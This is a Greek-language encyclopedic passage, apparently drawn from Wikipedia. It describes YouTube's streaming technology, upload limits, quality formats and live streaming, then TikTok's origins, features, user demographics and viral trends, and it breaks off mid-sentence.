Το περιεχόμενο του Youtube περιλαμβάνει ζωντανές ροές παγκόσμιων ειδησεογραφικών εκπομπών από διάφορα μεγάλα δίκτυα. Επιπλέον, πολλά μεγάλα ειδησεογραφικά πρακτορεία ανεβάζουν τις τελευταίες μεταδόσεις των καθημερινών παγκόσμιων ειδησεογραφικών εκπομπών τους σε συνεχή βάση κάθε μέρα. Επίσης, πολλές μεγάλες εταιρείες μέσων ενημέρωσης και τηλεοπτικά δίκτυα ανεβάζουν στο YouTube πλήρη βίντεο από ντοκιμαντέρ και εκπομπές που έχουν παραγάγει και ενημερώνουν τα επίσημα κανάλια τους με ένα πλήρες σύνολο νέων ντοκιμαντέρ καθώς παράγονται. Μερικά παραδείγματα είναι το BBC, και το National Geographic. Σχεδόν κάθε μεγάλο ροκ συγκρότημα έχει ένα επίσημο κανάλι στο οποίο όλα τα επίσημα μουσικά του βίντεο είναι διαθέσιμα μέσω του YouTube.

Χαρακτηριστικά

❖ Τεχνολογία βίντεο Το YouTube χρησιμοποιεί κυρίως τους κωδικοποιητές βίντεο VP9 και H.264/MPEG-4 AVC, καθώς και το πρωτόκολλο Dynamic Adaptive Streaming over HTTP. Για συνδέσεις χαμηλού εύρους ζώνης παρέχονται επίσης ροές MPEG-4 Part 2 που περιέχονται σε 3GP containers. Μέχρι τον Ιανουάριο του 2019, το YouTube είχε αρχίσει να διαθέτει βίντεο σε μορφή AV1. Το 2021 αναφέρθηκε ότι η εταιρεία εξέταζε το ενδεχόμενο να απαιτήσει την χρήση AV1 στο υλικό ροής, προκειμένου να μειώσει το εύρος ζώνης και να αυξήσει την ποιότητα. Το βίντεο

συνήθως μεταδίδεται παράλληλα με τους κωδικοποιητές ήχου Opus και AAC. Κατά την έναρξη λειτουργίας του το 2005, η προβολή βίντεο του YouTube σε προσωπικό υπολογιστή απαιτούσε την εγκατάσταση του πρόσθετου προγράμματος Adobe Flash Player στο πρόγραμμα περιήγησης. Τον Ιανουάριο του 2010, το YouTube ξεκίνησε μια πειραματική έκδοση του ιστότοπου που χρησιμοποιούσε τις ενσωματωμένες δυνατότητες πολυμέσων των προγραμμάτων περιήγησης ιστού που υποστηρίζουν το πρότυπο HTML5. Στις 27 Ιανουαρίου 2015, το YouTube ανακοίνωσε ότι η HTML5 θα είναι η προεπιλεγμένη μέθοδος αναπαραγωγής στους υποστηριζόμενους φυλλομετρητές. Με τη μετάβαση στην HTML5 οι ροές βίντεο χρησιμοποιούν τη δυναμική προσαρμοστική ροή μέσω HTTP (MPEG-DASH), μια λύση ροής με προσαρμοστικό ρυθμό μετάδοσης bit που βασίζεται στο HTTP και βελτιστοποιεί το ρυθμό μετάδοσης bit και την ποιότητα για το διαθέσιμο δίκτυο. Η πλατφόρμα μπορεί να σερβίρει βίντεο σε προαιρετικά χαμηλότερα επίπεδα ανάλυσης ξεκινώντας από 144p για την εξομάλυνση της αναπαραγωγής σε περιοχές και χώρες με περιορισμένες ταχύτητες διαδικτύου, τη βελτίωση της συμβατότητας, καθώς και για τη διατήρηση των περιορισμένων προγραμμάτων δεδομένων κινητής τηλεφωνίας. Η ρύθμιση της ανάλυσης μπορεί να προσαρμοστεί αυτόματα με βάση την ταχύτητα της σύνδεσης που ανιχνεύεται, καθώς και να ρυθμιστεί χειροκίνητα. Από το 2008 έως το 2017, οι χρήστες μπορούσαν να προσθέσουν "σχόλια" στα βίντεο τους όπως αναδυόμενα μηνύματα κειμένου και υπερσυνδέσμους και τα οποία επέτρεπαν διαδραστικά βίντεο. Μέχρι το 2019 όλες οι επισημάνσεις είχαν αφαιρεθεί από τα βίντεο, σπάζοντας ορισμένα βίντεο που εξαρτιόνταν από τη λειτουργία αυτή. Το YouTube εισήγαγε τυποποιημένα widgets με σκοπό να αντικαταστήσει τις επισημάνσεις με τρόπο που να καλύπτει όλες τις πλατφόρμες, συμπεριλαμβανομένων των "οθονών τέλους" (μια προσαρμόσιμη σειρά μικρογραφιών για συγκεκριμένα βίντεο που εμφανίζονται κοντά στο τέλος του βίντεο). Το 2018, το YouTube έγινε μητρώο ISNI και ανακοίνωσε την πρόθεσή του να ξεκινήσει τη δημιουργία αναγνωριστικών ISNI για τη μοναδική ταυτοποίηση των μουσικών των οποίων τα βίντεο παρουσιάζει.

❖ Ανέβασμα Όλοι οι χρήστες του YouTube μπορούν να ανεβάζουν βίντεο διάρκειας έως 15 λεπτών το καθένα. Οι χρήστες μπορούν να επαληθεύσουν τον λογαριασμό τους, συνήθως μέσω κινητού

τηλεφώνου, για να αποκτήσουν τη δυνατότητα να ανεβάζουν βίντεο διάρκειας έως και 12 ωρών, καθώς και να παράγουν ζωντανές ροές. Όταν το YouTube ξεκίνησε το 2005, ήταν δυνατή η μεταφόρτωση βίντεο μεγαλύτερης διάρκειας, αλλά τον Μάρτιο του 2006 εισήχθη ένα όριο 10 λεπτών, αφού το YouTube διαπίστωσε ότι η πλειοψηφία των βίντεο που ξεπερνούσαν αυτή τη διάρκεια ήταν μη εξουσιοδοτημένες μεταφορτώσεις τηλεοπτικών εκπομπών και ταινιών. Το όριο των 10 λεπτών αυξήθηκε σε 15 λεπτά τον Ιούλιο του 2010. Τα βίντεο μπορούν να είναι το πολύ 256 GB σε μέγεθος ή 12 ώρες, όποιο από τα δύο είναι μικρότερο. Από το 2021, οι αυτόματες κλειστές λεζάντες που χρησιμοποιούν τεχνολογία αναγνώρισης ομιλίας κατά τη μεταφόρτωση ενός βίντεο είναι διαθέσιμες σε 13 γλώσσες και μπορούν να μεταφραστούν μηχανικά κατά την αναπαραγωγή. Το YouTube προσφέρει επίσης χειροκίνητες κλειστές λεζάντες ως μέρος του στούντιο δημιουργών του. Το YouTube παλαιότερα προσέφερε μια λειτουργία "Community Captions", όπου οι θεατές μπορούσαν να γράψουν και να υποβάλουν λεζάντες για δημόσια προβολή μετά από έγκριση από τον uploader του βίντεο, αλλά αυτό καταργήθηκε τον Σεπτέμβριο του 2020. Το YouTube δέχεται τις πιο συνηθισμένες μορφές κοντέινερ, συμπεριλαμβανομένων των MP4, Matroska, FLV, AVI, WebM, 3GP, MPEG-PS και το QuickTime File Format. Ορισμένες ενδιάμεσες μορφές βίντεο (δηλαδή, που χρησιμοποιούνται κυρίως για επαγγελματική επεξεργασία βίντεο, όχι για τελική παράδοση ή αποθήκευση) γίνονται επίσης αποδεκτές, όπως η ProRes. Το YouTube παρέχει συνιστώμενες ρυθμίσεις κωδικοποίησης. Κάθε βίντεο ταυτοποιείται από μια αλφαριθμητική συμβολοσειρά Base64 έντεκα χαρακτήρων με ευαισθησία στην πεζότητα στο Uniform Resource Locator (URL), η οποία μπορεί να περιέχει γράμματα, ψηφία, υπογράμμιση (_) και παύλα (-). Το 2018, το YouTube πρόσθεσε μια λειτουργία που ονομάζεται Premiere, η οποία εμφανίζει μια ειδοποίηση στον χρήστη που αναφέρει πότε το βίντεο θα είναι διαθέσιμο για πρώτη φορά, όπως για μια ζωντανή ροή, αλλά με ένα προηχογραφημένο βίντεο. Όταν φτάσει η προγραμματισμένη ώρα, το βίντεο προβάλλεται ως ζωντανή μετάδοση με αντίστροφη μέτρηση δύο λεπτών. Προαιρετικά, η πρεμιέρα μπορεί να ξεκινήσει αμέσως.

❖ Ποιότητα και μορφές Το YouTube προσέφερε αρχικά βίντεο σε ένα μόνο επίπεδο ποιότητας, με ανάλυση 320×240 pixels και χρήση του κωδικοποιητή Sorenson Spark (παραλλαγή του H.263) με μονοφωνικό ήχο MP3. Τον Ιούνιο του 2007, το YouTube πρόσθεσε μια επιλογή για την παρακολούθηση βίντεο σε μορφή 3GP σε κινητά τηλέφωνα. Τον Μάρτιο του 2008, προστέθηκε μια λειτουργία

υψηλής ποιότητας, η οποία αύξησε την ανάλυση σε 480×360 pixels. Τον Δεκέμβριο του 2008, προστέθηκε η υποστήριξη HD 720p. Κατά τη στιγμή της κυκλοφορίας των 720p, το πρόγραμμα αναπαραγωγής του YouTube άλλαξε από αναλογία διαστάσεων 4:3 σε ευρεία οθόνη 16:9. Με αυτό το νέο χαρακτηριστικό, το YouTube ξεκίνησε τη μετάβαση σε H.264/MPEG-4 AVC ως προεπιλεγμένη μορφή συμπίεσης βίντεο. Τον Νοέμβριο του 2009, προστέθηκε η υποστήριξη 1080p HD. Τον Ιούλιο του 2010, το YouTube ανακοίνωσε ότι είχε ξεκινήσει μια σειρά βίντεο σε μορφή 4K, η οποία επιτρέπει ανάλυση έως και 4096×3072”pixels. Τον Ιούλιο του 2010, προστέθηκε η υποστήριξη για ανάλυση 4K, με τα βίντεο να αναπαράγονται σε 3840×2160 pixels. Τον Ιούνιο του 2015, προστέθηκε υποστήριξη για ανάλυση 8Κ, με τα βίντεο να αναπαράγονται σε 7680×4320 pixels. Τον Νοέμβριο του 2016, προστέθηκε υποστήριξη για βίντεο HDR, το οποίο μπορεί να κωδικοποιηθεί με υβριδικό log-gamma (HLG) ή αντιληπτικό κβαντιστή (PQ).Τα βίντεο HDR μπορούν να κωδικοποιηθούν με τον χρωματικό χώρο Rec. 2020. Τον Ιούνιο του 2014, το YouTube άρχισε να αναπτύσσει υποστήριξη για βίντεο υψηλού ρυθμού καρέ έως και 60 καρέ ανά δευτερόλεπτο (σε αντίθεση με τα 30 πριν), και έγινε διαθέσιμο για μεταφορτώσεις χρηστών τον Οκτώβριο. Το YouTube δήλωσε ότι αυτό θα βελτίωνε τα βίντεο "έντασης κίνησης", όπως υλικό από βιντεοπαιχνίδια. Τα βίντεο του YouTube είναι διαθέσιμα σε διάφορα επίπεδα ποιότητας. Οι θεατές επηρεάζουν μόνο έμμεσα την ποιότητα του βίντεο. Στις εφαρμογές για κινητά τηλέφωνα, οι χρήστες επιλέγουν μεταξύ "Αυτόματο", το οποίο προσαρμόζει την ανάλυση με βάση τη σύνδεση στο διαδίκτυο, "Υψηλή ποιότητα εικόνας" που θα δώσει προτεραιότητα στην αναπαραγωγή βίντεο υψηλής ποιότητας, "Εξοικονόμηση δεδομένων" που θα θυσιάσει την ποιότητα του βίντεο υπέρ της χαμηλής χρήσης δεδομένων και "Για προχωρημένους" που επιτρέπει στο χρήστη να επιλέξει μια ανάλυση ροής Στην επιφάνεια εργασίας, οι χρήστες επιλέγουν μεταξύ "Αυτόματο" και μιας συγκεκριμένης ανάλυσης. Από το 2009, οι θεατές έχουν τη δυνατότητα να παρακολουθούν τρισδιάστατα βίντεο. Το 2015, το YouTube άρχισε να υποστηρίζει εγγενώς βίντεο 360 μοιρών. Από τον Απρίλιο του 2016, επέτρεψε τη ζωντανή ροή βίντεο 360°, και τόσο κανονικό όσο και βίντεο 360° σε ανάλυση έως 1440p, και από τον Νοέμβριο του 2016 και τα δύο σε ανάλυση έως 4K (2160p). Επικαλούμενο τον περιορισμένο αριθμό χρηστών που παρακολουθούσαν βίντεο άνω των 90 μοιρών, άρχισε να υποστηρίζει μια εναλλακτική μορφή στερεοσκοπικού βίντεο γνωστή ως VR180, η οποία, όπως είπε, ήταν ευκολότερη στην παραγωγή, η οποία επιτρέπει στους χρήστες να παρακολουθούν

οποιοδήποτε

βίντεο

χρησιμοποιώντας

ακουστικά

εικονικής

πραγματικότητας. Ως απάντηση στην αυξημένη τηλεθέαση κατά τη διάρκεια της πανδημίας COVID-19, το YouTube υποβάθμισε προσωρινά την ποιότητα των βίντεο του. Το YouTube

ανέπτυξε το δικό του τσιπ, που ονομάζεται Argos, για να βοηθήσει στην κωδικοποίηση βίντεο υψηλότερης ανάλυσης το 2021. Σε ορισμένες περιπτώσεις, το YouTube επιτρέπει στον ανεβάζοντα να αναβαθμίσει την ποιότητα των βίντεο που έχουν ανεβεί πριν από πολύ καιρό σε κακή ποιότητα. Μια τέτοια συνεργασία με την Universal Music Group περιελάμβανε remasters 1.000 μουσικών βίντεο.

❖ Ζωντανή ροή Το YouTube πραγματοποίησε πρώιμα πειράματα με τη ζωντανή ροή, όπως μια συναυλία των U2 το 2009 και μια συνάντηση ερωτήσεων και απαντήσεων με τον Πρόεδρο των ΗΠΑ Μπαράκ Ομπάμα τον Φεβρουάριο του 2010. Αυτές οι δοκιμές είχαν βασιστεί σε τεχνολογία από συνεργάτες τρίτων, αλλά τον Σεπτέμβριο του 2010, το YouTube άρχισε να δοκιμάζει τη δική του υποδομή ζωντανής ροή. Η δημιουργία ζωντανών ροών περιορίστηκε αρχικά σε επιλεγμένους συνεργάτες. Χρησιμοποιήθηκε για τη μετάδοση σε πραγματικό χρόνο εκδηλώσεων όπως οι Ολυμπιακοί Αγώνες του 2012 στο Λονδίνο Τον Οκτώβριο του 2012, περισσότεροι από 8 εκατομμύρια άνθρωποι παρακολούθησαν το άλμα του Felix Baumgartner από την άκρη του διαστήματος ως ζωντανή ροή στο YouTube. Τον Μάιο του 2013, η δημιουργία ζωντανών ροών άνοιξε σε επαληθευμένους χρήστες με τουλάχιστον 1.000 συνδρομητές τον Αύγουστο του ίδιου έτους ο αριθμός μειώθηκε στους 100 συνδρομητές και τον Δεκέμβριο το όριο καταργήθηκε. Τον Φεβρουάριο του 2017, η ζωντανή ροή εισήχθη στην επίσημη εφαρμογή του YouTube για κινητά. Η ζωντανή ροή μέσω κινητού περιοριζόταν αρχικά σε χρήστες με τουλάχιστον 10.000 συνδρομητές, αλλά από τα μέσα του 2017 μειώθηκε στους 100 συνδρομητές. Οι ζωντανές ροές υποστηρίζουν HDR, μπορούν να έχουν ανάλυση έως 4Κ στα 60 fps και υποστηρίζουν επίσης βίντεο 360°.

TikTok Το TikTok, είναι μια υπηρεσία φιλοξενίας βίντεο μικρής διάρκειας που ανήκει στην κινεζική εταιρεία ByteDance. Το TikTok είναι μια διεθνής έκδοση του Douyin, το οποίο κυκλοφόρησε αρχικά στην κινεζική αγορά τον Σεπτέμβριο του 2016. Το TikTok κυκλοφόρησε το 2017 για iOS και Android στις περισσότερες αγορές εκτός της ηπειρωτικής Κίνας ωστόσο, έγινε διαθέσιμο παγκοσμίως μόνο μετά τη συγχώνευση με μια άλλη κινεζική υπηρεσία κοινωνικής δικτύωσης, την Musical.ly, στις 2 Αυγούστου του 2018.

Το TikTok και το Douyin έχουν σχεδόν την ίδια διεπαφή χρήστη, αλλά δεν έχουν πρόσβαση στο περιεχόμενο του άλλου. Οι διακομιστές τους εδρεύουν ο καθένας στην αγορά όπου είναι διαθέσιμη η αντίστοιχη εφαρμογή, τα δύο προϊόντα είναι παρόμοια, αλλά τα χαρακτηριστικά τους δεν είναι πανομοιότυπα. Το Douyin περιλαμβάνει μια λειτουργία αναζήτησης μέσα σε βίντεο που μπορεί να αναζητήσει με βάση τα πρόσωπα των ανθρώπων περισσότερα βίντεο με αυτούς και άλλες λειτουργίες όπως η αγορά, η κράτηση ξενοδοχείων και η πραγματοποίηση κριτικών με γεωγραφική σήμανση. Από την κυκλοφορία τους το 2016, το TikTok και το Douyin απέκτησαν γρήγορα δημοτικότητα σχεδόν σε όλα τα μέρη του κόσμου. Το TikTok ξεπέρασε τα 2 δισεκατομμύρια λήψεις σε κινητά παγκοσμίως τον Οκτώβριο του 2020. Η Morning Consult κατέταξε το TikTok ως το τρίτο ταχύτερα αναπτυσσόμενο εμπορικό σήμα του 2020, μετά μόνο από το Zoom και το Peacock. Το Cloudflare κατέταξε το TikTok ως τον πιο δημοφιλή ιστότοπο του 2021, ξεπερνώντας το Google.

Χαρακτηριστικά Η εφαρμογή TikTok για κινητά επιτρέπει στους χρήστες να δημιουργούν σύντομα βίντεο, τα οποία συχνά διαθέτουν μουσική στο παρασκήνιο και μπορούν να επιταχυνθούν, να επιβραδυνθούν ή να επεξεργαστούν με φίλτρα. Για να δημιουργήσουν ένα μουσικό βίντεο με την εφαρμογή, οι χρήστες μπορούν να επιλέξουν μουσική υπόκρουση από μια μεγάλη ποικιλία μουσικών ειδών, να επεξεργαστούν με ένα φίλτρο και να εγγράψουν ένα βίντεο 15 δευτερολέπτων με προσαρμογές ταχύτητας πριν το ανεβάσουν για να το μοιραστούν με άλλους στο TikTok ή σε άλλες κοινωνικές πλατφόρμες. Η σελίδα "Για εσάς" στο TikTok είναι μια ροή βίντεο που συνιστώνται στους χρήστες με βάση τη δραστηριότητά τους στην εφαρμογή. Το περιεχόμενο δημιουργείται από την τεχνητή νοημοσύνη (AI) του TikTok ανάλογα με το περιεχόμενο που άρεσε στον χρήστη, με το οποίο αλληλεπίδρασε ή αναζήτησε. Αυτό έρχεται σε αντίθεση με τους αλγορίθμους άλλων κοινωνικών δικτύων που βασίζουν το εν λόγω περιεχόμενο στις σχέσεις του χρήστη με άλλους χρήστες και στο τι του άρεσε ή με τι αλληλοεπίδρασε. Οι χρήστες μπορούν επίσης να επιλέξουν να προσθέσουν στα αγαπημένα τους ή να επιλέξουν "δεν ενδιαφέρομαι" στα βίντεο για τη σελίδα τους. Το TikTok συνδυάζει το περιεχόμενο που έχει απολαύσει ο χρήστης για να παρέχει βίντεο που θα του άρεσαν επίσης. Οι χρήστες και το περιεχόμενό τους μπορούν να εμφανίζονται στη σελίδα "για εσάς" μόνο αν είναι 16 ετών ή μεγαλύτεροι

σύμφωνα με την πολιτική του TikTok. Οι χρήστες κάτω των 16 ετών δεν θα εμφανίζονται στη σελίδα "για σένα", στη σελίδα ήχων ή κάτω από οποιαδήποτε hashtags. Η λειτουργία "react" της εφαρμογής επιτρέπει στους χρήστες να κινηματογραφούν την αντίδρασή τους σε ένα συγκεκριμένο βίντεο, πάνω από το οποίο τοποθετείται σε ένα μικρό παράθυρο που είναι κινητό γύρω από την οθόνη. Η λειτουργία "duet" επιτρέπει στους χρήστες να κινηματογραφούν ένα βίντεο δίπλα σε ένα άλλο βίντεο. Η λειτουργία "ντουέτο" μπορεί επίσης να χρησιμοποιηθεί μόνο εάν και τα δύο μέρη προσαρμόσουν τις ρυθμίσεις απορρήτου. Τα βίντεο που οι χρήστες δεν θέλουν να δημοσιεύσουν ακόμα μπορούν να αποθηκευτούν στα "προσχέδια" τους. Ο χρήστης έχει τη δυνατότητα να δει τα "προσχέδιά" του και να τα δημοσιεύσει όταν το κρίνει κατάλληλο. Η εφαρμογή επιτρέπει στους χρήστες να ορίσουν τους λογαριασμούς τους ως "ιδιωτικούς". Κατά την πρώτη λήψη της εφαρμογής, ο λογαριασμός του χρήστη είναι εξ ορισμού δημόσιος. Ο χρήστης μπορεί να τον αλλάξει σε ιδιωτικό στις ρυθμίσεις του. Το ιδιωτικό περιεχόμενο παραμένει ορατό στο TikTok, αλλά αποκλείεται από τους χρήστες του TikTok που ο κάτοχος του λογαριασμού δεν έχει εξουσιοδοτήσει να βλέπουν το περιεχόμενό τους. Οι χρήστες μπορούν να επιλέξουν αν οποιοσδήποτε άλλος χρήστης ή μόνο οι "φίλοι" τους μπορούν να αλληλεπιδρούν μαζί τους μέσω της εφαρμογής μέσω σχολίων, μηνυμάτων ή βίντεο "αντιδράσεων" ή "ντουέτου". Οι χρήστες έχουν επίσης τη δυνατότητα να αναφέρουν λογαριασμούς ανάλογα με το περιεχόμενο του λογαριασμού, είτε πρόκειται για spam είτε για ακατάλληλο περιεχόμενο. Στο κέντρο υποστήριξης του TikTok, στην ενότητα "Για γονείς", διαβεβαιώνουν τους γονείς ότι το ακατάλληλο περιεχόμενο για τα παιδιά τους μπορεί να μπλοκαριστεί και να αναφερθεί. Όταν οι χρήστες ακολουθούν άλλους χρήστες, μια σελίδα "follow" βρίσκεται στα αριστερά της σελίδας "for you". Αυτή είναι μια σελίδα μόνο για να δείτε τα βίντεο από τους λογαριασμούς που ακολουθεί ένας χρήστης. Οι χρήστες μπορούν επίσης να προσθέσουν βίντεο, hashtags, φίλτρα και ήχους στην ενότητα "αποθηκευμένα". Όταν δημιουργούν ένα βίντεο, μπορούν να ανατρέξουν στην αποθηκευμένη ενότητα ή να δημιουργήσουν ένα βίντεο απευθείας από αυτήν. Αυτή η ενότητα είναι ορατή μόνο στον χρήστη στο προφίλ του, επιτρέποντάς του να αναφέρεται σε οποιοδήποτε βίντεο, hashtag, φίλτρο ή ήχο έχει αποθηκεύσει προηγουμένως. Οι χρήστες μπορούν επίσης να στέλνουν στους φίλους τους βίντεο, emojis και μηνύματα με απευθείας μηνύματα. Το TikTok έχει επίσης συμπεριλάβει μια λειτουργία για τη δημιουργία

ενός βίντεο με βάση τα σχόλια του χρήστη. Οι influencers χρησιμοποιούν συχνά τη λειτουργία "live". Αυτή η λειτουργία είναι διαθέσιμη μόνο για όσους έχουν τουλάχιστον 1.000 followers και είναι άνω των 16 ετών. Εάν είναι άνω των 18 ετών, οι οπαδοί του χρήστη μπορούν να στείλουν εικονικά "δώρα" που μπορούν αργότερα να ανταλλαχθούν με χρήματα. Ένα από τα νεότερα χαρακτηριστικά από το 2020 είναι τα "Εικονικά αντικείμενα" της λειτουργίας "Μικρές χειρονομίες". Αυτό βασίζεται στη μεγάλη πρακτική της Κίνας για κοινωνικά δώρα. Από τότε που προστέθηκε αυτή η λειτουργία, πολλές εταιρείες και μάρκες ομορφιάς δημιούργησαν λογαριασμό στο TikTok για να συμμετάσχουν και να διαφημίσουν αυτή τη λειτουργία. Με το κλείδωμα του COVID-19 στις Ηνωμένες Πολιτείες, το social gifting έχει αυξηθεί σε δημοτικότητα. Σύμφωνα με έναν εκπρόσωπο του TikTok, η εκστρατεία ξεκίνησε ως αποτέλεσμα του λουκέτου, "για να δημιουργηθεί μια αίσθηση υποστήριξης και ενθάρρυνσης με την κοινότητα του TikTok κατά τη διάρκεια αυτών των δύσκολων στιγμών". Το TikTok ανακοίνωσε μια "λειτουργία οικογενειακής ασφάλειας" τον Φεβρουάριο του 2020 για να μπορούν οι γονείς να ελέγχουν την ψηφιακή ευημερία των παιδιών τους. Υπάρχει επιλογή διαχείρισης του χρόνου οθόνης, περιορισμένη λειτουργία και μπορεί να θέσει όριο στα άμεσα μηνύματα. Η εφαρμογή επέκτεινε τη λειτουργία γονικού ελέγχου που ονομάζεται "Οικογενειακό ζεύγος" τον Σεπτέμβριο του 2020 για να παρέχει στους γονείς και τους κηδεμόνες εκπαιδευτικούς πόρους για να κατανοήσουν σε τι εκτίθενται τα παιδιά στο TikTok. Το περιεχόμενο για τη λειτουργία αυτή δημιουργήθηκε σε συνεργασία με τη μη κερδοσκοπική οργάνωση για την ασφάλεια στο διαδίκτυο, Internet Matters. Τον Οκτώβριο του 2021, το TikTok ξεκίνησε μια δοκιμαστική λειτουργία που επιτρέπει στους χρήστες να δίνουν απευθείας φιλοδωρήματα σε ορισμένους δημιουργούς. Οι λογαριασμοί των χρηστών που είναι ενήλικοι, έχουν τουλάχιστον 100.000 followers και συμφωνούν με τους όρους μπορούν να ενεργοποιήσουν ένα κουμπί "Tip" στο προφίλ τους, το οποίο επιτρέπει στους followers να δίνουν φιλοδώρημα με οποιοδήποτε ποσό, ξεκινώντας από 1 δολάριο. Τον Δεκέμβριο του 2021, το TikTok ξεκίνησε την beta-δοκιμή του Live Studio, ενός λογισμικού streaming που θα επέτρεπε στους χρήστες να μεταδίδουν εφαρμογές που είναι ανοιχτές στους υπολογιστές τους, συμπεριλαμβανομένων παιχνιδιών. Το λογισμικό ξεκίνησε επίσης με υποστήριξη για streaming από κινητά και υπολογιστές, οι χρήστες στο Twitter ανακάλυψαν ότι το λογισμικό φέρεται να χρησιμοποιεί κώδικα από το OBS Studio ανοιχτού κώδικα. Το OBS

έκανε μια δήλωση λέγοντας ότι, σύμφωνα με την έκδοση 2 της GNU GPL, το TikTok πρέπει να διαθέσει δημόσια τον κώδικα του Live Studio αν θέλει να χρησιμοποιήσει κώδικα από το OBS. Τον Μάιο του 2022, η TikTok ανακοίνωσε το TikTok Pulse, ένα πρόγραμμα διαμοιρασμού των διαφημιστικών εσόδων. Καλύπτει το "κορυφαίο 4% όλων των βίντεο στο TikTok" και είναι διαθέσιμο μόνο σε δημιουργούς με περισσότερους από 100.000 ακόλουθους. Εάν το βίντεο ενός επιλέξιμου δημιουργού φτάσει στο κορυφαίο 4%, θα λάβει μερίδιο 50% των εσόδων από τις διαφημίσεις που εμφανίζονται με το βίντεο

Περιεχόμενο και χρήση ❖ Δημογραφικά στοιχεία Το TikTok τείνει να απευθύνεται σε νεότερους χρήστες, καθώς το 41% των χρηστών του είναι μεταξύ 16 και 24 ετών. Μεταξύ αυτών των χρηστών του TikTok, το 90% δηλώνουν ότι χρησιμοποιούν την εφαρμογή καθημερινά, η γεωγραφική χρήση του TikTok έχει δείξει ότι το 43% των νέων χρηστών είναι από την Ινδία, το πρώτο τρίμηνο του 2022, υπήρχαν πάνω από 100 εκατομμύρια μηνιαίως ενεργοί χρήστες στις Ηνωμένες Πολιτείες και 23”εκατομμύρια στο Ηνωμένο Βασίλειο. Ο μέσος χρήστης, καθημερινά, περνούσε 1 ώρα και 25 λεπτά στην εφαρμογή και άνοιγε το TikTok 17 φορές. ❖ Viral τάσεις Στο TikTok έχουν αναδυθεί διάφορες τάσεις, όπως μιμίδια, τραγούδια με συγχρονισμό χειλιών και κωμικά βίντεο. Τα Ντουέτα, ένα χαρακτηριστικό που επιτρέπει στους χρήστες να προσθέσουν το δικό τους βίντεο σε ένα υπάρχον βίντεο με τον ήχο του αρχικού περιεχομένου, έχουν πυροδοτήσει πολλές από αυτές τις τάσεις. Οι τάσεις εμφανίζονται στη σελίδα εξερεύνησης του TikTok ή στη σελίδα με το λογότυπο αναζήτησης. Η σελίδα απαριθμεί τα trending hashtags και τις προκλήσεις μεταξύ της εφαρμογής.

Ορισμένες

περιλαμβάνουν

τα

#posechallenge,

#filterswitch,

#dontjudgemechallenge, #homedecor, #hitormiss, #bottlecapchallenge και άλλα. Τον Ιούνιο του 2019, η εταιρεία εισήγαγε το hashtag #EduTok το οποίο έλαβε 37 δισεκατομμύρια προβολές. Μετά από αυτή την εξέλιξη, η εταιρεία ξεκίνησε συνεργασίες με νεοφυείς επιχειρήσεις στον τομέα της edtech για τη δημιουργία εκπαιδευτικού περιεχομένου στην πλατφόρμα.

Η εφαρμογή έχει γεννήσει πολυάριθμες ιογενείς τάσεις, διασημότητες του Διαδικτύου και μουσικές τάσεις σε όλο τον κόσμο Πολλοί αστέρες ξεκίνησαν από το musical.ly, το οποίο συγχωνεύτηκε με το TikTok στις 2 Αυγούστου 2018. Σε αυτούς τους χρήστες περιλαμβάνονται οι Loren Gray, Baby Ariel, Kristen Hancher, Zach King, Lisa and Lena, Jacob Sartorius και πολλοί άλλοι. Η Loren Gray παρέμεινε το άτομο με τους”followers στο TikTok μέχρι που η Charli D'Amelio την ξεπέρασε στις 25 Μαρτίου 2020. Ο λογαριασμός της Gray ήταν ο πρώτος λογαριασμός του TikTok που έφτασε τα 40 εκατομμύρια followers στην πλατφόρμα. Την ξεπέρασε με 41,3 εκατομμύρια followers. Η D'Amelio ήταν η πρώτη που έφτασε ποτέ τα 50, 60 και 70 εκατομμύρια followers. Μέχρι σήμερα η Charli D'Amelio”παραμένει το άτομο με τους περισσότερους followers στην πλατφόρμα. Άλλοι δημιουργοί έγιναν διάσημοι μετά τη συγχώνευση της πλατφόρμας με τη musical.ly στις 2 Αυγούστου 2018. Το TikTok επέτρεψε σε πολλά άλλα συγκροτήματα να αποκτήσουν ευρύτερο κοινό, συχνά συμπεριλαμβανομένων και ξένων οπαδών. Για παράδειγμα, παρά το γεγονός ότι δεν είχε περιοδεύσει ποτέ στην Ασία, το συγκρότημα Fitz and the Tantrums ανέπτυξε μεγάλο κοινό στη Νότια Κορέα μετά την ευρεία δημοτικότητα του τραγουδιού τους "HandClap" στην πλατφόρμα. Το "Any Song" του καλλιτέχνη R&B και ραπ Zico έγινε νούμερο ένα στα κορεατικά μουσικά charts λόγω της δημοτικότητας του #anysongchallenge, όπου οι χρήστες χορεύουν τη χορογραφία του "Any Song". " Η πλατφόρμα έχει δεχτεί κάποιες επικρίσεις για το γεγονός ότι δεν καταβάλλει δικαιώματα στους καλλιτέχνες των οποίων η μουσική χρησιμοποιείται στην πλατφόρμα της. Το 2020, περισσότερα από 176 διαφορετικά τραγούδια ξεπέρασαν το 1 δισεκατομμύριο προβολές βίντεο στο TikTok. Τον Ιούνιο του 2020, χρήστες του TikTok και οπαδοί της K-pop "ισχυρίστηκαν ότι είχαν καταχωρήσει δυνητικά εκατοντάδες χιλιάδες εισιτήρια" για την προεκλογική συγκέντρωση του προέδρου Τραμπ στην Tulsa μέσω επικοινωνίας στο TikTok, συμβάλλοντας σε "σειρές άδειων θέσεων" στην εκδήλωση. Το TikTok έχει απαγορεύσει την άρνηση του Ολοκαυτώματος, αλλά άλλες θεωρίες συνωμοσίας έχουν γίνει δημοφιλείς στην πλατφόρμα, όπως το Pizzagate και το QAnon (δύο θεωρίες συνωμοσίας δημοφιλείς μεταξύ της αμερικανικής alt-right), τα hashtags των οποίων έφτασαν σχεδόν τα 80 εκατομμύρια προβολές και 50 εκατομμύρια προβολές αντίστοιχα μέχρι τον Ιούνιο του 2020. Η πλατφόρμα έχει επίσης χρησιμοποιηθεί για τη διάδοση παραπληροφόρησης σχετικά με την πανδημία COVID-19, όπως αποσπάσματα από το Plandemic. Το TikTok αφαίρεσε μερικά από αυτά τα βίντεο και γενικά έχει προσθέσει

